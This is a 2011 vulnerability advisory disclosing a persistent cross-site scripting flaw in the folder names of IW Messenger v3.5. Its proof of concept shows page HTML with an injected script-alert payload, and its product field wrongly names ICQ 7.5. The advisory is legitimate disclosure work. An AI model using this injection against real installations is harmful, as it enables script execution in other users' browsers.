Document Title:
===============
IW Messenger v3.5 - Persistent Input Validation Vulnerability



Release Date:
=============
2011-06-30


Vulnerability Laboratory ID (VL-ID):
====================================
212


Product & Service Introduction:
===============================
IWMessenger è un potente sistema di messaggistica differita interamente sviluppato in ASP, rivolto in particolare 
alle piccole e medie aziende come supporto a sistemi Intranet già esistenti o come sostituto della posta elettronica 
all interno di una LAN.

- Interfaccia simile ai più diffusi programmi di posta elettronica
- Possibilità di definire infinite cartelle personalizzate oltre quelle di default (Posta in arrivo, Posta inviata e Cestino)
- Possibilità di inviare messaggi a uno o più destinatari, sia in CC che in CCN
- Possibilità di inserire infiniti allegati
- Possibilità di spostare i messaggi tra le varie cartelle, di ordinarli in base a diversi criteri e di cancellarli definitivamente
- Potente editor di testo per il corpo del messaggio, con possibilità di inserire immagini
- Funzioni di reply e forward
- Possibilità di definire una firma personalizzata
- Notifica di nuovi messaggi, utilizzando CDONTS o CDOSYS
- Completo controllo sul Layout della pagina, potendo scegliere ad es. dimensione della pagina e tema (skin)
- Facilità di configurazione: solo 3 cartelle da copiare nella root!
- Compatibile con Windows 2003 Server
- COMPLETA GRATUITA !

(Copy of the Vendor Homepage: http://ivansweb.com/products/default.asp?iChannel=3&nChannel=Products)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a persistent Input Validation vulnerability on the IW Messenger Application v3.5.x


Discovery Status:
=================
Published


Affected Product(s):
====================
IvansWeb.com
Product: ICQ 7.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation vulnerability is detected detected on the IW-Messenger application (v3.5).
The validation vulnerability/bug allows an attacker to inject/implement own malicious persistent script 
codes via invite.

Vulnerable Module(s):

				[+] iFolder

Pictures: 
				../1.png
				../2.png
				../3.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

<tbody><tr class="grid-header">
          <td width="1%"> </td>
          <td width="100%">Cartelle</td>
          <td align="center" nowrap="nowrap" width="1%">Da leggere </td>
          <td align="center" width="1%">Totale</td>
        </tr>
        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_inbox.gif" border="0"></td>

          <td><a href="../messages/messages_listing.asp?iFolder=1">Posta in arrivo</a> </td>
          <td align="center">0</td>
          <td align="center">3</td>
        </tr>
        
        <tr class="grid-evidence">
          <td align="center"><img src="../images/icon_oe_sent.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=2">Posta inviata</a> </td>

          <td align="center">1</td>
          <td align="center">23</td>
        </tr>
        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_trash.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=3">Cestino</a> </td>
          <td align="center">0</td>

          <td align="center">1</td>
        </tr>
        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_folder.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=8">"><script>alert("XSS");</script></a> </td>
          <td align="center">0</td>

          <td align="center">0</td>
        </tr>
        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_folder.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=9">"><MALICIOUS PERSISTENT SCRIPTCODE HERE!!!><img src="http://2%3C/a%3E%20%3C/td%3E%0A%20%20%20%20%20%20%20%20%20%20%3Ctd%20align=" center"="">0</a></td>
          <td align="center">0</td>

        </tr>
        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_folder.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=7">MALICIOUS PERSISTENT SCRIPTCODE HERE!!!#</a> </td>
          <td align="center">0</td>
          <td align="center">0</td>
        </tr>

        
        <tr class="grid-main">
          <td align="center"><img src="../images/icon_oe_folder.gif" border="0"></td>
          <td><a href="../messages/messages_listing.asp?iFolder=6">temp</a> </td>
          <td align="center">0</td>
          <td align="center">0</td>
        </tr>
        
        <tr class="grid-main">

          <td align="center"><img src="../images/icon_folder.gif" align="middle" border="0"></td>
          <td><a href="../messages/folders_listing.asp">Gestione Cartelle</a> </td>
          <td> </td>
          <td> </td>
        </tr>
      </tbody>


Security Risk:
==============
The security risk of the persistent input validation vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A.


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=========================
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